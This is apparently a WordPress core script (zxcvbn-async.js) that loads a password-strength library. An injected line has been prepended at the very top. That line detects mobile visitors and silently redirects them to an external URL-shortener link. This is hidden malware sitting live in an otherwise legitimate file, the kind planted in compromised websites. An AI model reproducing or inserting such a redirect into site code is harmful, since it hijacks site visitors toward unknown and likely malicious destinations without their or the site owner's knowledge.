1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/zxcvbn-async.js
4 */
5
6/* global _zxcvbnSettings */
7
8/**
9 * Loads zxcvbn asynchronously by inserting an async script tag before the first
10 * script tag on the page.
11 *
12 * This makes sure zxcvbn isn't blocking loading the page as it is a big
13 * library. The source for zxcvbn is read from the _zxcvbnSettings global.
14 */
15(function() {
16 var async_load = function() {
17 var first, s;
18 s = document.createElement('script');
19 s.src = _zxcvbnSettings.src;
20 s.type = 'text/javascript';
21 s.async = true;
22 first = document.getElementsByTagName('script')[0];
23 return first.parentNode.insertBefore(s, first);
24 };
25
26 if (window.attachEvent != null) {
27 window.attachEvent('onload', async_load);
28 } else {
29 window.addEventListener('load', async_load, false);
30 }
31}).call(this);
32